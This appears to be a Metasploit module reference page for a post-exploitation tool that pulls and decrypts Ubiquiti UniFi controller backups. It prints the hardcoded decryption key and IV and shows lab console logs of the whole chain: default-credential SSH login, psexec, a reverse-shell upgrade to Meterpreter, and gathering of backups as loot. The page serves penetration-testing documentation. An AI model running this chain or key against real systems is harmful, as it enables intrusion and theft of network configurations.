Multi Gather Ubiquiti UniFi Controller Backup - Metasploit
This page contains detailed information about how to use the post/multi/gather/ubiquiti_unifi_backup metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
- Module Overview
- Knowledge Base
- Vulnerable Application
- Verification Steps
- Scenarios
- Ubiquiti Unifi Controller 5.10.19 (Build: atag_5.10.19_11646) on Ubuntu 18.04
- Initial Access
- Module
- Details
- Ubiquiti Unifi Controller 5.10.19 (Build: atag_5.10.19_11646) on Windows 2012
- Initial Access
- Module
- Details
- Ubiquiti Unifi Controller 5.10.20 on OSX 10.14.4
- Module
- Using a SHELL With Multiple Larger Backups on Ubiquiti Unifi Controller 5.10.23
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Multi Gather Ubiquiti UniFi Controller Backup
Module: post/multi/gather/ubiquiti_unifi_backup
Source code: modules/post/multi/gather/ubiquiti_unifi_backup.rb
Disclosure date: -
Last modification time: 2020-03-21 11:00:25 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
On an Ubiquiti UniFi controller, reads the system.properties configuration file and downloads the backup and autobackup files. The files are then decrypted using a known encryption key, then attempted to be repaired by zip. Meterpreter must be used due to the large file sizes, which can be flaky on regular shells to read. Confirmed to work on 5.10.19 - 5.10.23, but most likely quite a bit more. If the zip can be repaired, the db and its information will be extracted.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/ubiquiti_unifi_backup
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/ubiquiti_unifi_backup
msf post(ubiquiti_unifi_backup) > show options
... show and set options ...
msf post(ubiquiti_unifi_backup) > set SESSION session-id
msf post(ubiquiti_unifi_backup) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/ubiquiti_unifi_backup")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module works against UniFi Network Controller (5.10.19
-5.10.23
confirmed, most likely others), to download any backup and
autobackup files (.unf extension). These files are AES encrypted zip files which use the IV ubntenterpriseap
and
key bcyangkmluohmars
. The unf zip file is then decrypted, however it contains an error in the file. Utilizing
zip -FF
the file can be repaired and opened (some reports say 7zip can open the errored file). If zip
is
available on the system, this operation is performed and the result saved to loot as well.
Due to the potential large file sizes of the backups, meterpreter is greatly encouraged over a shell.
This work is based on zhangyoufu's unifi-backup-decrypt and justingist's POSH-Ubiquiti.
The unf file has the following actions performed:
- Decrypt the file
- Fix the zip file if a
zip
utility is on the system - Extract db.gz
- Unzip the db file
- Import the db file
Install Instructions
- Download the file from https://www.ui.com/download/unifi (Java required on Windows)
- Install with default parameters
- Login to
https://localhost:8443/manage
and click the gear icon in the bottom left - Select
Maintenance
then clickDOWNLOAD BACKUP
to create the backup file.
Verification Steps
- Install the application
- Get a shell
- Do:
use post/multi/gather/ubiquiti_unifi_backup
- Do:
set session #
- Do:
run
Scenarios
Ubiquiti Unifi Controller 5.10.19 (Build: atag_5.10.19_11646) on Ubuntu 18.04
Initial Access
[*] Processing unifi.rb for ERB directives.
resource (unifi.rb)> use auxiliary/scanner/ssh/ssh_login
resource (unifi.rb)> set username unifi
username => unifi
resource (unifi.rb)> set password unifi
password => unifi
resource (unifi.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (unifi.rb)> run
[+] 2.2.2.2:22 - Success: 'unifi:unifi' 'uid=1000(unifi) gid=1000(unifi) groups=1000(unifi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare) Linux unifi 4.18.0-16-generic #17~18.04.1-Ubuntu SMP Tue Feb 12 13:35:51 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:33389 -> 2.2.2.2:22) at 2019-03-10 15:58:18 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (unifi.rb)> sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 1.1.1.1:4433
[*] Sending stage (985320 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4433 -> 2.2.2.2:37124) at 2019-03-10 15:58:25 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
Module
resource (unifi.rb)> use post/multi/gather/ubiquiti_unifi_backup
resource (unifi.rb)> set verbose true
verbose => true
resource (unifi.rb)> set session 2
session => 2
resource (unifi.rb)> run
[*] File /var/lib/unifi/system.properties saved to /root/.msf4/loot/20190310155835_default_2.2.2.2_ubiquiti.system._487688.txt
[+] Read UniFi Controller file /var/lib/unifi/system.properties
[-] Directory doesn't exist: /data/autobackup
[+] Found backup folder: /var/lib/unifi/backup
[+] File /var/lib/unifi/backup/5.10.19.unf saved to /root/.msf4/loot/20190310155836_default_2.2.2.2_ubiquiti.unifi.b_802011.unf
[+] File 5.10.19.unf DECRYPTED and saved to /root/.msf4/loot/20190310155836_default_2.2.2.2_ubiquiti.unifi.b_933774.zip. File needs to be repair via `zip -FF`
[*] Attempting to repair zip file (this is normal)
[+] File /var/lib/unifi/backup/5.10.19.unf DECRYPTED and REPAIRED and saved to /root/.msf4/loot/20190310155836_default_2.2.2.2_ubiquiti.unifi.b_271407.zip.
[*] Post module execution completed
Details
msf5 post(multi/gather/ubiquiti_unifi_backup) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 18.04 (Linux 4.18.0-16-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > background
[*] Backgrounding session 2...
msf5 post(multi/gather/ubiquiti_unifi_backup) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
2.2.2.2 ubiquiti.system.properties /var/lib/unifi/system.properties text/plain /root/.msf4/loot/20190310155835_default_2.2.2.2_ubiquiti.system._487688.txt
2.2.2.2 ubiquiti.unifi.backup 5.10.19.unf application/zip Ubiquiti Unifi Controller Encrypted Backup Zip /root/.msf4/loot/20190310155836_default_2.2.2.2_ubiquiti.unifi.b_802011.unf
2.2.2.2 ubiquiti.unifi.backup_decrypted 5.10.19.unf.broken.zip application/zip Ubiquiti Unifi Controller Decrypted Broken Backup Zip /root/.msf4/loot/20190310155836_default_2.2.2.2_ubiquiti.unifi.b_933774.zip
2.2.2.2 ubiquiti.unifi.backup_decrypted_repaired 5.10.19.unf.zip application/zip Ubiquiti Unifi Controller Backup Zip /root/.msf4/loot/20190310155836_default_2.2.2.2_ubiquiti.unifi.b_271407.zip
Ubiquiti Unifi Controller 5.10.19 (Build: atag_5.10.19_11646) on Windows 2012
Initial Access
[*] Processing unifi.rb for ERB directives.
resource (unifi.rb)> use exploit/windows/smb/psexec
resource (unifi.rb)> set smbpass Password123
smbpass => Password123
resource (unifi.rb)> set smbuser Administrator
smbuser => Administrator
resource (unifi.rb)> set rhosts 4.4.4.4
rhosts => 4.4.4.4
resource (unifi.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 4.4.4.4:445 - Connecting to the server...
[*] 4.4.4.4:445 - Authenticating to 4.4.4.4:445 as user 'Administrator'...
[*] 4.4.4.4:445 - Selecting PowerShell target
[*] 4.4.4.4:445 - Executing the payload...
[+] 4.4.4.4:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 4.4.4.4
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 4.4.4.4:61034) at 2019-03-10 15:58:32 -0400
meterpreter > background
[*] Backgrounding session 3...
Module
resource (unifi.rb)> use post/multi/gather/ubiquiti_unifi_backup
resource (unifi.rb)> set verbose true
verbose => true
resource (unifi.rb)> set session 3
session => 3
resource (unifi.rb)> run
[*] File C:\Users\Administrator\Ubiquiti UniFi\data\system.properties saved to /root/.msf4/loot/20190310155838_default_4.4.4.4_ubiquiti.system._035659.txt
[+] Read UniFi Controller file C:\Users\Administrator\Ubiquiti UniFi\data\system.properties
[+] Found backup folder: C:\Users\Administrator\Ubiquiti Unifi\data\backup
[+] File C:\Users\Administrator\Ubiquiti Unifi\data\backup/5.10.19.unf saved to /root/.msf4/loot/20190310155839_default_4.4.4.4_ubiquiti.unifi.b_024488.unf
[+] File 5.10.19.unf DECRYPTED and saved to /root/.msf4/loot/20190310155839_default_4.4.4.4_ubiquiti.unifi.b_661494.zip. File needs to be repair via `zip -FF`
[*] Attempting to repair zip file (this is normal)
[+] File C:\Users\Administrator\Ubiquiti Unifi\data\backup/5.10.19.unf DECRYPTED and REPAIRED and saved to /root/.msf4/loot/20190310155839_default_4.4.4.4_ubiquiti.unifi.b_212269.zip.
[*] Post module execution completed
[*] Starting persistent handler(s)...
Details
msf5 post(multi/gather/ubiquiti_unifi_backup) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-OBKF2JFCDKL
OS : Windows 2012 (Build 9200).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 3...
msf5 post(multi/gather/ubiquiti_unifi_backup) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
4.4.4.4 ubiquiti.system.properties C:\Users\Administrator\Ubiquiti UniFi\data\system.properties text/plain /root/.msf4/loot/20190310155838_default_4.4.4.4_ubiquiti.system._035659.txt
4.4.4.4 ubiquiti.unifi.backup 5.10.19.unf application/zip Ubiquiti Unifi Controller Encrypted Backup Zip /root/.msf4/loot/20190310155839_default_4.4.4.4_ubiquiti.unifi.b_024488.unf
4.4.4.4 ubiquiti.unifi.backup_decrypted 5.10.19.unf.broken.zip application/zip Ubiquiti Unifi Controller Decrypted Broken Backup Zip /root/.msf4/loot/20190310155839_default_4.4.4.4_ubiquiti.unifi.b_661494.zip
4.4.4.4 ubiquiti.unifi.backup_decrypted_repaired 5.10.19.unf.zip application/zip Ubiquiti Unifi Controller Backup Zip /root/.msf4/loot/20190310155839_default_4.4.4.4_ubiquiti.unifi.b_212269.zip
Ubiquiti Unifi Controller 5.10.20 on OSX 10.14.4
Module
msf5 post(multi/gather/ubiquiti_unifi_backup) > rexploit
[*] Reloading module...
[+] Read UniFi Controller file /Users/unifi/Library/Application Support/Unifi/data/system.properties
[+] File /Users/unifi/Library/Application Support/UniFi/data/backup/5.10.20.unf saved to /root/.msf4/loot/20190406110342_default_1.1.1.1_ubiquiti.unifi.b_683102.unf
[+] File 5.10.20.unf DECRYPTED and saved to /root/.msf4/loot/20190406110342_default_1.1.1.1_ubiquiti.unifi.b_122303.zip. File needs to be repair via `zip -FF`
[*] Attempting to repair zip file (this is normal)
[+] File /Users/unifi/Library/Application Support/UniFi/data/backup/5.10.20.unf DECRYPTED and REPAIRED and saved to /root/.msf4/loot/20190406110342_default_1.1.1.1_ubiquiti.unifi.b_728913.zip.
[*] Post module execution completed
Using a SHELL With Multiple Larger Backups on Ubiquiti Unifi Controller 5.10.23
An example of the output when not utilizing meterpreter (just a shell) to access the files. The solution is to upgrade to meterpreter, which will work successfully.
msf5 post(multi/gather/ubiquiti_unifi_backup) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell linux SSH unifi:unifi (1.1.1.1:22) 2.2.2.2:35125 -> 1.1.1.1:22 (1.1.1.1)
2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 1.1.1.1 2.2.2.2:4433 -> 1.1.1.1:52584 (1.1.1.1)
msf5 post(multi/gather/ubiquiti_unifi_backup) > session -i 1
l[-] Unknown command: session.
msf5 post(multi/gather/ubiquiti_unifi_backup) > sessions -i 1
[*] Starting interaction with 1...
ls -lah /var/lib/unifi/backup/*.unf
-rw-r----- 1 unifi unifi 15K Mar 22 21:15 /var/lib/unifi/backup/5.10.19.unf
-rw-r----- 1 unifi unifi 3.3M May 10 13:59 /var/lib/unifi/backup/5.10.20.unf
-rw-r----- 1 unifi unifi 3.3M May 10 14:26 /var/lib/unifi/backup/5.10.23.unf
^Z
Background session 1? [y/N] y
msf5 post(multi/gather/ubiquiti_unifi_backup) > set session 1
session => 1
msf5 post(multi/gather/ubiquiti_unifi_backup) > run
[!] SESSION may not be compatible with this module.
[+] Read UniFi Controller file /var/lib/unifi/system.properties
[+] File /var/lib/unifi/backup/5.10.19.unf saved to /root/.msf4/loot/20190510150128_default_1.1.1.1_ubiquiti.unifi.b_313804.unf
[+] File 5.10.19.unf DECRYPTED and saved to /root/.msf4/loot/20190510150128_default_1.1.1.1_ubiquiti.unifi.b_129165.zip. File needs to be repair via `zip -FF`
[*] Attempting to repair zip file (this is normal)
[+] File /var/lib/unifi/backup/5.10.19.unf DECRYPTED and REPAIRED and saved to /root/.msf4/loot/20190510150128_default_1.1.1.1_ubiquiti.unifi.b_016198.zip.
[-] /var/lib/unifi/backup/5.10.20.unf read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!
[-] /var/lib/unifi/backup/5.10.23.unf read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the multi/gather/ubiquiti_unifi_backup post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/ubiquiti_unifi_backup
msf6 post(multi/gather/ubiquiti_unifi_backup) > show info
Name: Multi Gather Ubiquiti UniFi Controller Backup
Module: post/multi/gather/ubiquiti_unifi_backup
Platform: Linux, Windows, OSX
Arch:
Rank: Normal
Provided by:
h00die
zhangyoufu
justingist
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BACKUPFOLDER no Custom backup folder
SESSION yes The session to run this module on.
SYSTEMFILE no Custom system.properties file location
Description:
On an Ubiquiti UniFi controller, reads the system.properties
configuration file and downloads the backup and autobackup files.
The files are then decrypted using a known encryption key, then
attempted to be repaired by zip. Meterpreter must be used due to the
large file sizes, which can be flaky on regular shells to read.
Confirmed to work on 5.10.19 - 5.10.23, but most likely quite a bit
more. If the zip can be repaired, the db and its information will be
extracted.
References:
https://github.com/zhangyoufu/unifi-backup-decrypt/
https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1
https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation
https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105
Module Options
This is a complete list of options available in the multi/gather/ubiquiti_unifi_backup post exploitation module:
msf6 post(multi/gather/ubiquiti_unifi_backup) > show options
Module options (post/multi/gather/ubiquiti_unifi_backup):
Name Current Setting Required Description
---- --------------- -------- -----------
BACKUPFOLDER no Custom backup folder
SESSION yes The session to run this module on.
SYSTEMFILE no Custom system.properties file location
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/ubiquiti_unifi_backup post exploitation module:
msf6 post(multi/gather/ubiquiti_unifi_backup) > show advanced
Module advanced options (post/multi/gather/ubiquiti_unifi_backup):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/ubiquiti_unifi_backup module can do:
msf6 post(multi/gather/ubiquiti_unifi_backup) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/ubiquiti_unifi_backup post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/ubiquiti_unifi_backup) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <FULL> read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!
- Unable to decrypt <LOOT_PATH>
- Repair failed on <LOOT_PATH.PATH>
- Unable to locate db.gz config database file
- Error in file conversion from BSON to JSON.
- Failed to read <SPROP>
- Directory doesn't exist: <BL>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<FULL> read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!
Here is a relevant code snippet related to the "<FULL> read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!" error message:
66: next
67: end
68:
69: f = read_file(full)
70: if f.nil?
71: print_error("#{full} read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!")
72: next
73: end
74: loot_path = store_loot('ubiquiti.unifi.backup', 'application/zip', session,
75: f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip')
76: print_good("File #{full} saved to #{loot_path}")
Unable to decrypt <LOOT_PATH>
Here is a relevant code snippet related to the "Unable to decrypt <LOOT_PATH>" error message:
74: loot_path = store_loot('ubiquiti.unifi.backup', 'application/zip', session,
75: f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip')
76: print_good("File #{full} saved to #{loot_path}")
77: decrypted_data = decrypt_unf(f)
78: if decrypted_data.nil? || decrypted_data.empty?
79: print_error("Unable to decrypt #{loot_path}")
80: next
81: end
82: loot_path = store_loot('ubiquiti.unifi.backup_decrypted', 'application/zip', session,
83: decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip')
84: print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`")
Repair failed on <LOOT_PATH.PATH>
Here is a relevant code snippet related to the "Repair failed on <LOOT_PATH.PATH>" error message:
84: print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`")
85: # ruby zip can't repair, we can try on command line but its not likely to succeed on all platforms
86: # tested on kali
87: repaired = repair_zip(loot_path)
88: if repaired.nil?
89: fail_with Failure::Unknown, "Repair failed on #{loot_path.path}"
90: end
91: loot_path = store_loot('ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,
92: repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip')
93: print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.")
94: config_db = extract_and_process_db(loot_path)
Unable to locate db.gz config database file
Here is a relevant code snippet related to the "Unable to locate db.gz config database file" error message:
91: loot_path = store_loot('ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,
92: repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip')
93: print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.")
94: config_db = extract_and_process_db(loot_path)
95: if config_db.nil?
96: fail_with Failure::Unknown, 'Unable to locate db.gz config database file'
97: end
98: print_status('Converting BSON to JSON.')
99: unifi_config_db_json = bson_to_json(config_db)
100:
101: if unifi_config_db_json == {}
Error in file conversion from BSON to JSON.
Here is a relevant code snippet related to the "Error in file conversion from BSON to JSON." error message:
97: end
98: print_status('Converting BSON to JSON.')
99: unifi_config_db_json = bson_to_json(config_db)
100:
101: if unifi_config_db_json == {}
102: fail_with Failure::Unknown, 'Error in file conversion from BSON to JSON.'
103: end
104: unifi_config_eater(session.session_host, session.session_port, unifi_config_db_json)
105: end
106: end
107:
Failed to read <SPROP>
Here is a relevant code snippet related to the "Failed to read <SPROP>" error message:
151: data = read_file(sprop)
152: loot_path = store_loot('ubiquiti.system.properties', 'text/plain', session, data, sprop)
153: vprint_status("File #{sprop} saved to #{loot_path}")
154: print_good("Read UniFi Controller file #{sprop}")
155: rescue Rex::Post::Meterpreter::RequestError => e
156: print_error("Failed to read #{sprop}")
157: data = ''
158: end
159: data.each_line do |line|
160: unless line.chomp.empty? || line =~ /^#/
161: if /^autobackup\.dir\s*=\s*(?<d>.+)$/ =~ line
Directory doesn't exist: <BL>
Here is a relevant code snippet related to the "Directory doesn't exist: <BL>" error message:
167: end
168:
169: print_status("Attempting to locate and read backup files.")
170: backup_locations.each do |bl|
171: if not directory?(bl)
172: vprint_error("Directory doesn't exist: #{bl}")
173: next
174: end
175:
176: vprint_good("Found backup folder: #{bl}")
177: find_save_files(bl)
Go back to menu.
Related Pull Requests
- #12594 Merged Pull Request: Ubiquiti Unifi Parser & Libs
- #11548 Merged Pull Request: unifi backup downloader
References
- CVE: Not available
- https://github.com/zhangyoufu/unifi-backup-decrypt/
- https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1
- https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation
- https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105
See Also
Check also the following modules related to this module:
- post/multi/gather/apple_ios_backup
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/firefox_creds
- post/multi/gather/gpg_creds
- post/multi/gather/grub_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jboss_gather
- post/multi/gather/jenkins_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/thunderbird_creds
- post/multi/gather/tomcat_gather
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- h00die
- zhangyoufu
- justingist
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.